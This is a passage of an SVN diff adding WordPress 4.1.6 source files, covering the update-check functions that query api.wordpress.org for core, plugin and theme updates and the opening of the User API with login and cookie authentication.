+		trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+		$response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+		return false;
+
+	$body = trim( wp_remote_retrieve_body( $response ) );
+	$body = json_decode( $body, true );
+
+	if ( ! is_array( $body ) || ! isset( $body['offers'] ) )
+		return false;
+
+	$offers = $body['offers'];
+
+	foreach ( $offers as &$offer ) {
+		foreach ( $offer as $offer_key => $value ) {
+			if ( 'packages' == $offer_key )
+				$offer['packages'] = (object) array_intersect_key( array_map( 'esc_url', $offer['packages'] ),
+					array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' ) );
+			elseif ( 'download' == $offer_key )
+				$offer['download'] = esc_url( $value );
+			else
+				$offer[ $offer_key ] = esc_html( $value );
+		}
+		$offer = (object) array_intersect_key( $offer, array_fill_keys( array( 'response', 'download', 'locale',
+			'packages', 'current', 'version', 'php_version', 'mysql_version', 'new_bundled', 'partial_version', 'notify_email', 'support_email', 'new_files' ), '' ) );
+	}
+
+	$updates = new stdClass();
+	$updates->updates = $offers;
+	$updates->last_checked = time();
+	$updates->version_checked = $wp_version;
+
+	if ( isset( $body['translations'] ) )
+		$updates->translations = $body['translations'];
+
+	set_site_transient( 'update_core', $updates );
+
+	if ( ! empty( $body['ttl'] ) ) {
+		$ttl = (int) $body['ttl'];
+		if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) {
+			// Queue an event to re-run the update check in $ttl seconds.
+			wp_schedule_single_event( time() + $ttl, 'wp_version_check' );
+		}
+	}
+
+	// Trigger a background updates check if running non-interactively, and we weren't called from the update handler.
+	if ( defined( 'DOING_CRON' ) && DOING_CRON && ! doing_action( 'wp_maybe_auto_update' ) ) {
+		do_action( 'wp_maybe_auto_update' );
+	}
+}
+
+/**
+ * Check plugin versions against the latest versions hosted on WordPress.org.
+ *
+ * The WordPress version, PHP version, and Locale is sent along with a list of
+ * all plugins installed. Checks against the WordPress server at
+ * api.wordpress.org. Will only check if WordPress isn't installing.
+ *
+ * @since 2.3.0
+ * @uses $wp_version Used to notify the WordPress version.
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ * @return false|null Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_update_plugins( $extra_stats = array() ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( defined('WP_INSTALLING') )
+		return false;
+
+	// If running blog-side, bail unless we've not checked in the last 12 hours
+	if ( !function_exists( 'get_plugins' ) )
+		require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
+
+	$plugins = get_plugins();
+	$translations = wp_get_installed_translations( 'plugins' );
+
+	$active  = get_option( 'active_plugins', array() );
+	$current = get_site_transient( 'update_plugins' );
+	if ( ! is_object($current) )
+		$current = new stdClass;
+
+	$new_option = new stdClass;
+	$new_option->last_checked = time();
+
+	// Check for update on a different schedule, depending on the page.
+	switch ( current_filter() ) {
+		case 'upgrader_process_complete' :
+			$timeout = 0;
+			break;
+		case 'load-update-core.php' :
+			$timeout = MINUTE_IN_SECONDS;
+			break;
+		case 'load-plugins.php' :
+		case 'load-update.php' :
+			$timeout = HOUR_IN_SECONDS;
+			break;
+		default :
+			if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+				$timeout = 0;
+			} else {
+				$timeout = 12 * HOUR_IN_SECONDS;
+			}
+	}
+
+	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
+
+	if ( $time_not_changed && ! $extra_stats ) {
+		$plugin_changed = false;
+		foreach ( $plugins as $file => $p ) {
+			$new_option->checked[ $file ] = $p['Version'];
+
+			if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) )
+				$plugin_changed = true;
+		}
+
+		if ( isset ( $current->response ) && is_array( $current->response ) ) {
+			foreach ( $current->response as $plugin_file => $update_details ) {
+				if ( ! isset($plugins[ $plugin_file ]) ) {
+					$plugin_changed = true;
+					break;
+				}
+			}
+		}
+
+		// Bail if we've checked recently and if nothing has changed
+		if ( ! $plugin_changed )
+			return false;
+	}
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_site_transient( 'update_plugins', $current );
+
+	$to_send = compact( 'plugins', 'active' );
+
+	$locales = array( get_locale() );
+	/**
+	 * Filter the locales requested for plugin translations.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $locales Plugin locale. Default is current locale of the site.
+	 */
+	$locales = apply_filters( 'plugins_update_check_locales', $locales );
+
+	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+		$timeout = 30;
+	} else {
+		// Three seconds, plus one extra second for every 10 plugins
+		$timeout = 3 + (int) ( count( $plugins ) / 10 );
+	}
+
+	$options = array(
+		'timeout' => $timeout,
+		'body' => array(
+			'plugins'      => wp_json_encode( $to_send ),
+			'translations' => wp_json_encode( $translations ),
+			'locale'       => wp_json_encode( $locales ),
+			'all'          => wp_json_encode( true ),
+		),
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
+	);
+
+	if ( $extra_stats ) {
+		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
+	}
+
+	$url = $http_url = 'http://api.wordpress.org/plugins/update-check/1.1/';
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$raw_response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $raw_response ) ) {
+		trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+		$raw_response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) )
+		return false;
+
+	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );
+	foreach ( $response['plugins'] as &$plugin ) {
+		$plugin = (object) $plugin;
+	}
+	unset( $plugin );
+	foreach ( $response['no_update'] as &$plugin ) {
+		$plugin = (object) $plugin;
+	}
+	unset( $plugin );
+
+	if ( is_array( $response ) ) {
+		$new_option->response = $response['plugins'];
+		$new_option->translations = $response['translations'];
+		// TODO: Perhaps better to store no_update in a separate transient with an expiry?
+		$new_option->no_update = $response['no_update'];
+	} else {
+		$new_option->response = array();
+		$new_option->translations = array();
+		$new_option->no_update = array();
+	}
+
+	set_site_transient( 'update_plugins', $new_option );
+}
+
+/**
+ * Check theme versions against the latest versions hosted on WordPress.org.
+ *
+ * A list of all themes installed in sent to WP. Checks against the
+ * WordPress server at api.wordpress.org. Will only check if WordPress isn't
+ * installing.
+ *
+ * @since 2.7.0
+ * @uses $wp_version Used to notify the WordPress version.
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ * @return false|null Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_update_themes( $extra_stats = array() ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( defined( 'WP_INSTALLING' ) )
+		return false;
+
+	$installed_themes = wp_get_themes();
+	$translations = wp_get_installed_translations( 'themes' );
+
+	$last_update = get_site_transient( 'update_themes' );
+	if ( ! is_object($last_update) )
+		$last_update = new stdClass;
+
+	$themes = $checked = $request = array();
+
+	// Put slug of current theme into request.
+	$request['active'] = get_option( 'stylesheet' );
+
+	foreach ( $installed_themes as $theme ) {
+		$checked[ $theme->get_stylesheet() ] = $theme->get('Version');
+
+		$themes[ $theme->get_stylesheet() ] = array(
+			'Name'       => $theme->get('Name'),
+			'Title'      => $theme->get('Name'),
+			'Version'    => $theme->get('Version'),
+			'Author'     => $theme->get('Author'),
+			'Author URI' => $theme->get('AuthorURI'),
+			'Template'   => $theme->get_template(),
+			'Stylesheet' => $theme->get_stylesheet(),
+		);
+	}
+
+	// Check for update on a different schedule, depending on the page.
+	switch ( current_filter() ) {
+		case 'upgrader_process_complete' :
+			$timeout = 0;
+			break;
+		case 'load-update-core.php' :
+			$timeout = MINUTE_IN_SECONDS;
+			break;
+		case 'load-themes.php' :
+		case 'load-update.php' :
+			$timeout = HOUR_IN_SECONDS;
+			break;
+		default :
+			if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+				$timeout = 0;
+			} else {
+				$timeout = 12 * HOUR_IN_SECONDS;
+			}
+	}
+
+	$time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked );
+
+	if ( $time_not_changed && ! $extra_stats ) {
+		$theme_changed = false;
+		foreach ( $checked as $slug => $v ) {
+			if ( !isset( $last_update->checked[ $slug ] ) || strval($last_update->checked[ $slug ]) !== strval($v) )
+				$theme_changed = true;
+		}
+
+		if ( isset ( $last_update->response ) && is_array( $last_update->response ) ) {
+			foreach ( $last_update->response as $slug => $update_details ) {
+				if ( ! isset($checked[ $slug ]) ) {
+					$theme_changed = true;
+					break;
+				}
+			}
+		}
+
+		// Bail if we've checked recently and if nothing has changed
+		if ( ! $theme_changed )
+			return false;
+	}
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$last_update->last_checked = time();
+	set_site_transient( 'update_themes', $last_update );
+
+	$request['themes'] = $themes;
+
+	$locales = array( get_locale() );
+	/**
+	 * Filter the locales requested for theme translations.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $locales Theme locale. Default is current locale of the site.
+	 */
+	$locales = apply_filters( 'themes_update_check_locales', $locales );
+
+	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+		$timeout = 30;
+	} else {
+		// Three seconds, plus one extra second for every 10 themes
+		$timeout = 3 + (int) ( count( $themes ) / 10 );
+	}
+
+	$options = array(
+		'timeout' => $timeout,
+		'body' => array(
+			'themes'       => wp_json_encode( $request ),
+			'translations' => wp_json_encode( $translations ),
+			'locale'       => wp_json_encode( $locales ),
+		),
+		'user-agent'	=> 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
+	);
+
+	if ( $extra_stats ) {
+		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
+	}
+
+	$url = $http_url = 'http://api.wordpress.org/themes/update-check/1.1/';
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$raw_response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $raw_response ) ) {
+		trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+		$raw_response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) )
+		return false;
+
+	$new_update = new stdClass;
+	$new_update->last_checked = time();
+	$new_update->checked = $checked;
+
+	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );
+
+	if ( is_array( $response ) ) {
+		$new_update->response     = $response['themes'];
+		$new_update->translations = $response['translations'];
+	}
+
+	set_site_transient( 'update_themes', $new_update );
+}
+
+/**
+ * Performs WordPress automatic background updates.
+ *
+ * @since 3.7.0
+ */
+function wp_maybe_auto_update() {
+	include_once( ABSPATH . '/wp-admin/includes/admin.php' );
+	include_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' );
+
+	$upgrader = new WP_Automatic_Updater;
+	$upgrader->run();
+}
+
+/**
+ * Retrieves a list of all language updates available.
+ *
+ * @since 3.7.0
+ */
+function wp_get_translation_updates() {
+	$updates = array();
+	$transients = array( 'update_core' => 'core', 'update_plugins' => 'plugin', 'update_themes' => 'theme' );
+	foreach ( $transients as $transient => $type ) {
+
+		$transient = get_site_transient( $transient );
+		if ( empty( $transient->translations ) )
+			continue;
+
+		foreach ( $transient->translations as $translation ) {
+			$updates[] = (object) $translation;
+		}
+	}
+
+	return $updates;
+}
+
+/**
+ * Collect counts and UI strings for available updates
+ *
+ * @since 3.3.0
+ *
+ * @return array
+ */
+function wp_get_update_data() {
+	$counts = array( 'plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0 );
+
+	if ( $plugins = current_user_can( 'update_plugins' ) ) {
+		$update_plugins = get_site_transient( 'update_plugins' );
+		if ( ! empty( $update_plugins->response ) )
+			$counts['plugins'] = count( $update_plugins->response );
+	}
+
+	if ( $themes = current_user_can( 'update_themes' ) ) {
+		$update_themes = get_site_transient( 'update_themes' );
+		if ( ! empty( $update_themes->response ) )
+			$counts['themes'] = count( $update_themes->response );
+	}
+
+	if ( ( $core = current_user_can( 'update_core' ) ) && function_exists( 'get_core_updates' ) ) {
+		$update_wordpress = get_core_updates( array('dismissed' => false) );
+		if ( ! empty( $update_wordpress ) && ! in_array( $update_wordpress[0]->response, array('development', 'latest') ) && current_user_can('update_core') )
+			$counts['wordpress'] = 1;
+	}
+
+	if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() )
+		$counts['translations'] = 1;
+
+	$counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations'];
+	$titles = array();
+	if ( $counts['wordpress'] )
+		$titles['wordpress'] = sprintf( __( '%d WordPress Update'), $counts['wordpress'] );
+	if ( $counts['plugins'] )
+		$titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] );
+	if ( $counts['themes'] )
+		$titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] );
+	if ( $counts['translations'] )
+		$titles['translations'] = __( 'Translation Updates' );
+
+	$update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : '';
+
+	$update_data = array( 'counts' => $counts, 'title' => $update_title );
+	/**
+	 * Filter the returned array of update data for plugins, themes, and WordPress core.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $update_data {
+	 *     Fetched update data.
+	 *
+	 *     @type array   $counts       An array of counts for available plugin, theme, and WordPress updates.
+	 *     @type string  $update_title Titles of available updates.
+	 * }
+	 * @param array $titles An array of update counts and UI strings for available updates.
+	 */
+	return apply_filters( 'wp_get_update_data', $update_data, $titles );
+}
+
+function _maybe_update_core() {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$current = get_site_transient( 'update_core' );
+
+	if ( isset( $current->last_checked ) &&
+		12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) &&
+		isset( $current->version_checked ) &&
+		$current->version_checked == $wp_version )
+		return;
+
+	wp_version_check();
+}
+/**
+ * Check the last time plugins were run before checking plugin versions.
+ *
+ * This might have been backported to WordPress 2.6.1 for performance reasons.
+ * This is used for the wp-admin to check only so often instead of every page
+ * load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_plugins() {
+	$current = get_site_transient( 'update_plugins' );
+	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
+		return;
+	wp_update_plugins();
+}
+
+/**
+ * Check themes versions only after a duration of time.
+ *
+ * This is for performance reasons to make sure that on the theme version
+ * checker is not run on every page load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_themes() {
+	$current = get_site_transient( 'update_themes' );
+	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
+		return;
+
+	wp_update_themes();
+}
+
+/**
+ * Schedule core, theme, and plugin update checks.
+ *
+ * @since 3.1.0
+ */
+function wp_schedule_update_checks() {
+	if ( !wp_next_scheduled('wp_version_check') && !defined('WP_INSTALLING') )
+		wp_schedule_event(time(), 'twicedaily', 'wp_version_check');
+
+	if ( !wp_next_scheduled('wp_update_plugins') && !defined('WP_INSTALLING') )
+		wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');
+
+	if ( !wp_next_scheduled('wp_update_themes') && !defined('WP_INSTALLING') )
+		wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
+
+	if ( ! wp_next_scheduled( 'wp_maybe_auto_update' ) && ! defined( 'WP_INSTALLING' ) ) {
+		// Schedule auto updates for 7 a.m. and 7 p.m. in the timezone of the site.
+		$next = strtotime( 'today 7am' );
+		$now = time();
+		// Find the next instance of 7 a.m. or 7 p.m., but skip it if it is within 3 hours from now.
+		while ( ( $now + 3 * HOUR_IN_SECONDS ) > $next ) {
+			$next += 12 * HOUR_IN_SECONDS;
+		}
+		$next = $next - get_option( 'gmt_offset' ) * HOUR_IN_SECONDS;
+		// Add a random number of minutes, so we don't have all sites trying to update exactly on the hour
+		$next = $next + rand( 0, 59 ) * MINUTE_IN_SECONDS;
+		wp_schedule_event( $next, 'twicedaily', 'wp_maybe_auto_update' );
+	}
+}
+
+/**
+ * Clear existing update caches for plugins, themes, and core.
+ *
+ * @since 4.1.0
+ */
+function wp_clean_update_cache() {
+	if ( function_exists( 'wp_clean_plugins_cache' ) ) {
+		wp_clean_plugins_cache();
+	} else {
+		delete_site_transient( 'update_plugins' );
+	}
+	wp_clean_plugins_cache();
+	wp_clean_themes_cache();
+	delete_site_transient( 'update_core' );
+}
+
+if ( ( ! is_main_site() && ! is_network_admin() ) || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
+	return;
+}
+
+add_action( 'admin_init', '_maybe_update_core' );
+add_action( 'wp_version_check', 'wp_version_check' );
+add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
+
+add_action( 'load-plugins.php', 'wp_update_plugins' );
+add_action( 'load-update.php', 'wp_update_plugins' );
+add_action( 'load-update-core.php', 'wp_update_plugins' );
+add_action( 'admin_init', '_maybe_update_plugins' );
+add_action( 'wp_update_plugins', 'wp_update_plugins' );
+add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
+
+add_action( 'load-themes.php', 'wp_update_themes' );
+add_action( 'load-update.php', 'wp_update_themes' );
+add_action( 'load-update-core.php', 'wp_update_themes' );
+add_action( 'admin_init', '_maybe_update_themes' );
+add_action( 'wp_update_themes', 'wp_update_themes' );
+add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );
+
+add_action( 'update_option_WPLANG', 'wp_clean_update_cache' , 10, 0 );
+
+add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );
+
+add_action('init', 'wp_schedule_update_checks');
Index: /tags/4.1.6/src/wp-includes/user.php
===================================================================
--- /tags/4.1.6/src/wp-includes/user.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/user.php	(revision 33402)
@@ -0,0 +1,2337 @@
+<?php
+/**
+ * WordPress User API
+ *
+ * @package WordPress
+ * @subpackage Users
+ */
+
+/**
+ * Authenticate user with remember capability.
+ *
+ * The credentials is an array that has 'user_login', 'user_password', and
+ * 'remember' indices. If the credentials is not given, then the log in form
+ * will be assumed and used if set.
+ *
+ * The various authentication cookies will be set by this function and will be
+ * set for a longer period depending on if the 'remember' credential is set to
+ * true.
+ *
+ * @since 2.5.0
+ *
+ * @param array       $credentials   Optional. User info in order to sign on.
+ * @param string|bool $secure_cookie Optional. Whether to use secure cookie.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_signon( $credentials = array(), $secure_cookie = '' ) {
+	if ( empty($credentials) ) {
+		if ( ! empty($_POST['log']) )
+			$credentials['user_login'] = $_POST['log'];
+		if ( ! empty($_POST['pwd']) )
+			$credentials['user_password'] = $_POST['pwd'];
+		if ( ! empty($_POST['rememberme']) )
+			$credentials['remember'] = $_POST['rememberme'];
+	}
+
+	if ( !empty($credentials['remember']) )
+		$credentials['remember'] = true;
+	else
+		$credentials['remember'] = false;
+
+	/**
+	 * Fires before the user is authenticated.
+	 *
+	 * The variables passed to the callbacks are passed by reference,
+	 * and can be modified by callback functions.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @todo Decide whether to deprecate the wp_authenticate action.
+	 *
+	 * @param string $user_login    Username, passed by reference.
+	 * @param string $user_password User password, passed by reference.
+	 */
+	do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
+
+	if ( '' === $secure_cookie )
+		$secure_cookie = is_ssl();
+
+	/**
+	 * Filter whether to use a secure sign-on cookie.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool  $secure_cookie Whether to use a secure sign-on cookie.
+	 * @param array $credentials {
+ 	 *     Array of entered sign-on data.
+ 	 *
+ 	 *     @type string $user_login    Username.
+ 	 *     @type string $user_password Password entered.
+	 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
+	 *                                 that the cookie will be kept. Default false.
+ 	 * }
+	 */
+	$secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
+
+	global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
+	$auth_secure_cookie = $secure_cookie;
+
+	add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
+
+	$user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
+
+	if ( is_wp_error($user) ) {
+		if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
+			$user = new WP_Error('', '');
+		}
+
+		return $user;
+	}
+
+	wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
+	/**
+	 * Fires after the user has successfully logged in.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $user_login Username.
+	 * @param WP_User $user       WP_User object of the logged-in user.
+	 */
+	do_action( 'wp_login', $user->user_login, $user );
+	return $user;
+}
+
+/**
+ * Authenticate the user using the username and password.
+ *
+ * @since 2.8.0
+ *
+ * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
+ * @param string                $username Username for authentication.
+ * @param string                $password Password for authentication.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_authenticate_username_password($user, $username, $password) {
+	if ( is_a( $user, 'WP_User' ) ) {
+		return $user;
+	}
+
+	if ( empty($username) || empty($password) ) {
+		if ( is_wp_error( $user ) )
+			return $user;
+
+		$error = new WP_Error();
+
+		if ( empty($username) )
+			$error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
+
+		if ( empty($password) )
+			$error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
+
+		return $error;
+	}
+
+	$user = get_user_by('login', $username);
+
+	if ( !$user )
+		return new WP_Error( 'invalid_username', sprintf( __( '<strong>ERROR</strong>: Invalid username. <a href="%s">Lost your password</a>?' ), wp_lostpassword_url() ) );
+
+	/**
+	 * Filter whether the given user can be authenticated with the provided $password.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_User|WP_Error $user     WP_User or WP_Error object if a previous
+	 *                                   callback failed authentication.
+	 * @param string           $password Password to check against the user.
+	 */
+	$user = apply_filters( 'wp_authenticate_user', $user, $password );
+	if ( is_wp_error($user) )
+		return $user;
+
+	if ( !wp_check_password($password, $user->user_pass, $user->ID) )
+		return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s">Lost your password</a>?' ),
+		$username, wp_lostpassword_url() ) );
+
+	return $user;
+}
+
+/**
+ * Authenticate the user using the WordPress auth cookie.
+ *
+ * @since 2.8.0
+ *
+ * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
+ * @param string                $username Username. If not empty, cancels the cookie authentication.
+ * @param string                $password Password. If not empty, cancels the cookie authentication.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_authenticate_cookie($user, $username, $password) {
+	if ( is_a( $user, 'WP_User' ) ) {
+		return $user;
+	}
+
+	if ( empty($username) && empty($password) ) {
+		$user_id = wp_validate_auth_cookie();
+		if ( $user_id )
+			return new WP_User($user_id);
+
+		global $auth_secure_cookie;
+
+		if ( $auth_secure_cookie )
+			$auth_cookie = SECURE_AUTH_COOKIE;
+		else
+			$auth_cookie = AUTH_COOKIE;
+
+		if ( !empty($_COOKIE[$auth_cookie]) )
+			return new WP_Error('expired_session', __('Please log in again.'));
+
+		// If the cookie is not set, be silent.
+	}
+
+	return $user;
+}
+
+/**
+ * For Multisite blogs, check if the authenticated user has been marked as a
+ * spammer, or if the user's primary blog has been marked as spam.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
+ * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
+ */
+function wp_authenticate_spam_check( $user ) {
+	if ( $user && is_a( $user, 'WP_User' ) && is_multisite() ) {
+		/**
+		 * Filter whether the user has been marked as a spammer.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool    $spammed Whether the user is considered a spammer.
+		 * @param WP_User $user    User to check against.
+		 */
+		$spammed = apply_filters( 'check_is_user_spammed', is_user_spammy(), $user );
+
+		if ( $spammed )
+			return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
+	}
+	return $user;
+}
+
+/**
+ * Validate the logged-in cookie.
+ *
+ * Checks the logged-in cookie if the previous auth cookie could not be
+ * validated and parsed.
+ *
+ * This is a callback for the determine_current_user filter, rather than API.
+ *
+ * @since 3.9.0
+ *
+ * @param int|bool $user_id The user ID (or false) as received from the
+ *                       determine_current_user filter.
+ * @return int|bool User ID if validated, false otherwise. If a user ID from
+ *                  an earlier filter callback is received, that value is returned.
+ */
+function wp_validate_logged_in_cookie( $user_id ) {
+	if ( $user_id ) {
+		return $user_id;
+	}
+
+	if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
+		return false;
+	}
+
+	return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
+}
+
+/**
+ * Number of posts user has written.
+ *
+ * @since 3.0.0
+ * @since 4.1.0 Added `$post_type` argument.
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param int    $userid    User ID.
+ * @param string $post_type Optional. Post type to count the number of posts for. Default 'post'.
+ * @return int Number of posts the user has written in this post type.
+ */
+function count_user_posts( $userid, $post_type = 'post' ) {
+	global $wpdb;
+
+	$where = get_posts_by_author_sql( $post_type, true, $userid );
+
+	$count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
+
+	/**
+	 * Filter the number of posts a user has written.
+	 *
+	 * @since 2.7.0
+	 * @since 4.1.0 Added `$post_type` argument.
+	 *
+	 * @param int    $count     The user's post count.
+	 * @param int    $userid    User ID.
+	 * @param string $post_type Post type to count the number of posts for.
+	 */
+	return apply_filters( 'get_usernumposts', $count, $userid, $post_type );
+}
+
+/**
+ * Number of posts written by a list of users.
+ *
+ * @since 3.0.0
+ *
+ * @param array $users Array of user IDs.
+ * @param string $post_type Optional. Post type to check. Defaults to post.
+ * @param bool $public_only Optional. Only return counts for public posts.  Defaults to false.
+ * @return array Amount of posts each user has written.
+ */
+function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
+	global $wpdb;
+
+	$count = array();
+	if ( empty( $users ) || ! is_array( $users ) )
+		return $count;
+
+	$userlist = implode( ',', array_map( 'absint', $users ) );
+	$where = get_posts_by_author_sql( $post_type, true, null, $public_only );
+
+	$result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
+	foreach ( $result as $row ) {
+		$count[ $row[0] ] = $row[1];
+	}
+
+	foreach ( $users as $id ) {
+		if ( ! isset( $count[ $id ] ) )
+			$count[ $id ] = 0;
+	}
+
+	return $count;
+}
+
+//
+// User option functions
+//
+
+/**
+ * Get the current user's ID
+ *
+ * @since MU
+ *
+ * @return int The current user's ID
+ */
+function get_current_user_id() {
+	if ( ! function_exists( 'wp_get_current_user' ) )
+		return 0;
+	$user = wp_get_current_user();
+	return ( isset( $user->ID ) ? (int) $user->ID : 0 );
+}
+
+/**
+ * Retrieve user option that can be either per Site or per Network.
+ *
+ * If the user ID is not given, then the current user will be used instead. If
+ * the user ID is given, then the user data will be retrieved. The filter for
+ * the result, will also pass the original option name and finally the user data
+ * object as the third parameter.
+ *
+ * The option will first check for the per site name and then the per Network name.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param string $option     User option name.
+ * @param int    $user       Optional. User ID.
+ * @param string $deprecated Use get_option() to check for an option in the options table.
+ * @return mixed User option value on success, false on failure.
+ */
+function get_user_option( $option, $user = 0, $deprecated = '' ) {
+	global $wpdb;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0' );
+
+	if ( empty( $user ) )
+		$user = get_current_user_id();
+
+	if ( ! $user = get_userdata( $user ) )
+		return false;
+
+	$prefix = $wpdb->get_blog_prefix();
+	if ( $user->has_prop( $prefix . $option ) ) // Blog specific
+		$result = $user->get( $prefix . $option );
+	elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
+		$result = $user->get( $option );
+	else
+		$result = false;
+
+	/**
+	 * Filter a specific user option value.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the user option name.
+	 *
+	 * @since 2.5.0
+	 *
